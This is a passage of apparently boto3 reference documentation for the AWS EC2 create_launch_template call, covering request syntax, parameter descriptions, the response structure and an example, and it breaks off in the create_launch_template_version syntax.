e'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string', + 'PartitionNumber': 123 + }, + 'RamDiskId': 'string', + 'DisableApiTermination': True|False, + 'InstanceInitiatedShutdownBehavior': 'stop'|'terminate', + 'UserData': 'string', + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'ElasticGpuSpecifications': [ + { + 'Type': 'string' + }, + ], + 'ElasticInferenceAccelerators': [ + { + 'Type': 'string', + 'Count': 123 + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'SecurityGroups': [ + 'string', + ], + 'InstanceMarketOptions': { + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + 'CreditSpecification': { + 'CpuCredits': 'string' + }, + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'HibernationOptions': { + 'Configured': True|False + }, + 'MetadataOptions': { + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + }, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraint: Maximum 128 ASCII characters. + +* **LaunchTemplateName** (_string_) -- + + **[REQUIRED]** + + A name for the launch template. + +* **VersionDescription** (_string_) -- A description for the first version of the launch template. +* **LaunchTemplateData** (_dict_) -- + + **[REQUIRED]** + + The information for the launch template. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [User Provided Kernels](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **BlockDeviceMappings** _(list) --_ + + The block device mapping. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeralN). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1. The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **Encrypted** _(boolean) --_ + + Indicates whether the EBS volume is encrypted. Encrypted volumes can only be attached to instances that support Amazon EBS encryption. If you are creating a volume from a snapshot, you can't specify an encryption value. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **KmsKeyId** _(string) --_ + + The ARN of the symmetric AWS Key Management Service (AWS KMS) CMK used for encryption. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 : 1-16,384 + * io1 and io2 : 4-16,384 + * st1 and sc1 : 125-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. The default is gp2 . For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **Throughput** _(integer) --_ + + The throughput to provision for a gp3 volume, with a maximum of 1,000 MiB/s. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) --_ + + The parameters for a network interface. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Associates a Carrier IP address with eth0 for a new network interface. + + Use this option when you launch an instance in a Wavelength Zone and want to associate a Carrier IP address with the network interface. For more information about Carrier IP addresses, see [Carrier IP addresses](https://docs.aws.amazon.com/wavelength/latest/developerguide/how-wavelengths-work.html#provider-owned-ip) in the _AWS Wavelength Developer Guide_ . + + * **AssociatePublicIpAddress** _(boolean) --_ + + Associates a public IPv4 address with eth0 for a new network interface. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **Description** _(string) --_ + + A description for the network interface. + + * **DeviceIndex** _(integer) --_ + + The device index for the network interface attachment. + + * **Groups** _(list) --_ + + The IDs of one or more security groups. + + * _(string) --_ + * **InterfaceType** _(string) --_ + + The type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **Ipv6AddressCount** _(integer) --_ + + The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. + + * **Ipv6Addresses** _(list) --_ + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **PrivateIpAddress** _(string) --_ + + The primary private IPv4 address of the network interface. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses to assign to a network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet for the network interface. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **InstanceType** _(string) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **KeyName** _(string) --_ + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **Enabled** _(boolean) --_ + + Specify true to enable detailed monitoring. Otherwise, basic monitoring is enabled. + + * **Placement** _(dict) --_ + + The placement for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone for the instance. + + * **Affinity** _(string) --_ + + The affinity setting for an instance on a Dedicated Host. + + * **GroupName** _(string) --_ + + The name of the placement group for the instance. + + * **HostId** _(string) --_ + + The ID of the Dedicated Host for the instance. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance should launch in. Valid only if the placement group strategy is set to partition . + + * **RamDiskId** _(string) --_ + + The ID of the RAM disk. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [User Provided Kernels](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **DisableApiTermination** _(boolean) --_ + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + * **InstanceInitiatedShutdownBehavior** _(string) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + + * **UserData** _(string) --_ + + The Base64-encoded user data to make available to the instance. For more information, see [Running Commands on Your Linux Instance at Launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). + + * **TagSpecifications** _(list) --_ + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags specification for the launch template. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are instance and volume . To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ElasticGpuSpecifications** _(list) --_ + + An elastic GPU to associate with the instance. + + * _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + + * **ElasticInferenceAccelerators** _(list) --_ + + The elastic inference accelerator for the instance. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium, eia1.large, and eia1.xlarge. + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + + * **SecurityGroupIds** _(list) --_ + + One or more security group IDs. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . You cannot specify both a security group ID and security name in the same request. + + * _(string) --_ + * **SecurityGroups** _(list) --_ + + [EC2-Classic, default VPC] One or more security group names. For a nondefault VPC, you must use security group IDs instead. You cannot specify both a security group ID and security name in the same request. + + * _(string) --_ + * **InstanceMarketOptions** _(dict) --_ + + The market (purchasing) option for the instances. + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + * **ValidUntil** _(datetime) --_ + + The end date of the request. For a one-time request, the request remains active until all instances launch, the request is canceled, or this date is reached. If the request is persistent, it remains active until it is canceled or this date and time is reached. The default end date is 7 days from the current date. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + * **CreditSpecification** _(dict) --_ + + The credit option for CPU usage of the instance. Valid for T2, T3, or T3a instances only. + + * **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + + * **CpuOptions** _(dict) --_ + + The CPU options for the instance. For more information, see [Optimizing CPU Options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1. Otherwise, specify the default value of 2. + + * **CapacityReservationSpecification** _(dict) --_ + + The Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + + * **LicenseSpecifications** _(list) --_ + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + * **HibernationOptions** _(dict) --_ + + Indicates whether an instance is enabled for hibernation. This parameter is valid only if the instance meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate Your Instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **Configured** _(boolean) --_ + + If you set this parameter to true , the instance is enabled for hibernation. + + Default: false + + * **MetadataOptions** _(dict) --_ + + The metadata options for the instance. For more information, see [Instance Metadata and User Data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + * **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + +* **TagSpecifications** (_list_) -- + + The tags to apply to the launch template during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id124)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id126)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplate': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersionNumber': 123, + 'LatestVersionNumber': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + 'Warning': { + 'Errors': [ + { + 'Code': 'string', + 'Message': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **LaunchTemplate** _(dict) --_ + + Information about the launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **CreateTime** _(datetime) --_ + + The time launch template was created. + + * **CreatedBy** _(string) --_ + + The principal that created the launch template. + + * **DefaultVersionNumber** _(integer) --_ + + The version number of the default version of the launch template. + + * **LatestVersionNumber** _(integer) --_ + + The version number of the latest version of the launch template. + + * **Tags** _(list) --_ + + The tags for the launch template. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **Warning** _(dict) --_ + + If the launch template contains parameters or parameter combinations that are not valid, an error code and an error message are returned for each issue that's found. + + * **Errors** _(list) --_ + + The error codes and error messages. + + * _(dict) --_ + + The error code and error message that is returned for a parameter or parameter combination that is not valid when a new launch template or new version of a launch template is created. + + * **Code** _(string) --_ + + The error code that indicates why the parameter or parameter combination is not valid. For more information about error codes, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + * **Message** _(string) --_ + + The error message that describes why the parameter or parameter combination is not valid. For more information about error messages, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + +**Examples** + +This example creates a launch template that specifies the subnet in which to launch the instance, assigns a public IP address and an IPv6 address to the instance, and creates a tag for the instance. + +response = client.create_launch_template( + LaunchTemplateData={ + 'ImageId': 'ami-8c1be5f6', + 'InstanceType': 't2.small', + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True, + 'DeviceIndex': 0, + 'Ipv6AddressCount': 1, + 'SubnetId': 'subnet-7b16de0c', + }, + ], + 'TagSpecifications': [ + { + 'ResourceType': 'instance', + 'Tags': [ + { + 'Key': 'Name', + 'Value': 'webserver', + }, + ], + }, + ], + }, + LaunchTemplateName='my-template', + VersionDescription='WebVersion1', +) + +print(response) + +Expected Output: + +{ + 'LaunchTemplate': { + 'CreateTime': datetime(2017, 11, 27, 9, 13, 24, 0, 331, 0), + 'CreatedBy': 'arn:aws:iam::123456789012:root', + 'DefaultVersionNumber': 1, + 'LatestVersionNumber': 1, + 'LaunchTemplateId': 'lt-01238c059e3466abc', + 'LaunchTemplateName': 'my-template', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_launch_template_version(kwargs_) + +Creates a new version for a launch template. You can specify an existing version of launch template from which to base the new version. + +Launch template versions are numbered in the order in which they are created. You cannot specify, change, or replace the numbering of launch template versions. + +For more information, see [Managing launch template versions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html#manage-launch-template-versions) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateLaunchTemplateVersion) + +**Request Syntax** + +response = client.create_launch_template_version( + DryRun=True|False, + ClientToken='string', + LaunchTemplateId='string', + LaunchTemplateName='string', + SourceVersion='string', + VersionDescription='string', + LaunchTemplateData={ + 'KernelId': 'string', + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'Encrypted': True|False, + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'KmsKeyId': 'string', + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'Throughput': 123 + }, + 'NoDevice': 'string' + }, + ], + 'NetworkInterfaces': [ + { + 'AssociateCarrierIpAddress': True|False, + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'InterfaceType': 'string', + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'ImageId': 'string', + 'InstanceType': 